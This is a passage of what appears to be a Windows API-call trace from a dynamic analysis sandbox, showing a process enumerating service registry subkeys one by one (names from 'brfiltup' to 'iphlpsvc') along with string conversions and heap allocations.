lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.826] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0260.826] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.827] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.827] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.827] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.827] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x33, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Browser") returned 0x0 [0260.827] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.827] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x1de4a80, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0260.827] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.827] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.827] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.827] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.827] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x34, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0260.827] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.827] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x1de4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0260.827] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.827] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.827] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.827] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.827] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x35, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0260.827] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.827] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x1de4a80, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0260.827] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.827] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.827] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.827] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.827] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x36, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0260.827] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.828] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0260.828] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.828] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.828] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.828] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.828] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x37, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0260.828] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.828] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x1de4a80, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0260.828] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.828] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.828] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.828] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.828] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x38, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0260.828] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.828] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0260.828] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.828] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.828] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.828] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.828] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x39, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0260.828] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.828] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x1de4a80, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0260.828] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.828] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.828] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.828] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.829] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x3a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0260.829] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.829] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x1de4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0260.860] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.860] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.860] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.860] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.860] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x3b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0260.860] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0260.860] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x1de4a80, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0260.860] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.860] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.861] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.861] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.861] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x3c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0260.861] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0260.861] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x1de4408, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0260.861] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.861] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.861] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4a80) returned 1 [0260.861] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.861] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x3d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0260.861] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0260.861] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4a80 [0260.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x1de4a80, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0260.861] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x3e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="circlass") returned 0x0 [0260.861] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x3f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0260.861] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x40, lpName=0x1dd29e0, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0260.861] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x41, lpName=0x1dd29e0, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0260.861] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x42, lpName=0x1dd29e0, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0260.861] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x43, lpName=0x1dd29e0, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0260.861] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x44, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0260.862] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x45, lpName=0x1dd29e0, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0260.862] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x46, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CNG") returned 0x0 [0260.862] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x47, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0260.862] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x48, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0260.862] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x49, lpName=0x1dd29e0, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0260.862] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x4a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0260.862] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x4b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0260.862] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x4c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0260.862] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x4d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CSC") returned 0x0 [0260.862] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x4e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CscService") returned 0x0 [0260.862] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x4f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0260.862] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x50, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0260.862] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x51, lpName=0x1dd29e0, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0260.862] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x52, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0260.862] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x53, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0260.862] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x54, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0260.863] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x55, lpName=0x1dd29e0, cchName=0x104 | out: lpName="discache") returned 0x0 [0260.863] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x56, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Disk") returned 0x0 [0260.863] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x57, lpName=0x1dd29e0, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0260.863] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x58, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0260.863] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x59, lpName=0x1dd29e0, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0260.863] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x5a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DPS") returned 0x0 [0260.863] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x5b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0260.863] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x5c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0260.863] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x5d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0260.863] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x5e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0260.863] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x5f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0260.863] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x60, lpName=0x1dd29e0, cchName=0x104 | out: lpName="EFS") returned 0x0 [0260.863] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x61, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0260.863] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x62, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0260.863] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x63, lpName=0x1dd29e0, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0260.863] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x64, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0260.864] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x65, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0260.864] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x66, lpName=0x1dd29e0, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0260.864] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x67, lpName=0x1dd29e0, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0260.864] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x68, lpName=0x1dd29e0, cchName=0x104 | out: lpName="exfat") returned 0x0 [0260.864] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x69, lpName=0x1dd29e0, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0260.864] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x6a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Fax") returned 0x0 [0260.864] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x6b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="fdc") returned 0x0 [0260.864] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x6c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0260.864] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x6d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0260.864] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x6e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0260.864] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x6f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0260.864] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x70, lpName=0x1dd29e0, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0260.864] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x71, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0260.864] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x72, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0260.864] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x73, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0260.864] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x74, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0260.865] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x75, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0260.865] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x76, lpName=0x1dd29e0, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0260.865] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x77, lpName=0x1dd29e0, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0260.865] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x78, lpName=0x1dd29e0, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0260.865] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x79, lpName=0x1dd29e0, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0260.865] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x7a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0260.865] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x7b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0260.865] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x7c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0260.865] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x7d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0260.865] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x7e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0260.865] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x7f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0260.865] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x80, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0260.865] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x81, lpName=0x1dd29e0, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0260.865] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x82, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0260.865] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x83, lpName=0x1dd29e0, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0260.865] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x84, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0260.866] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x85, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0260.866] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x86, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0260.866] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x87, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0260.866] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x88, lpName=0x1dd29e0, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0260.866] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x89, lpName=0x1dd29e0, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0260.866] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x8a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0260.866] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x8b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0260.866] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x8c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0260.866] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x8d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0260.866] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x8e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0260.866] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x8f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="intelide") returned 0x0 [0260.866] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x90, lpName=0x1dd29e0, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0260.866] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x91, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0260.866] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x92, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0260.866] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x93, lpName=0x1dd29e0, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0260.866] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x94, 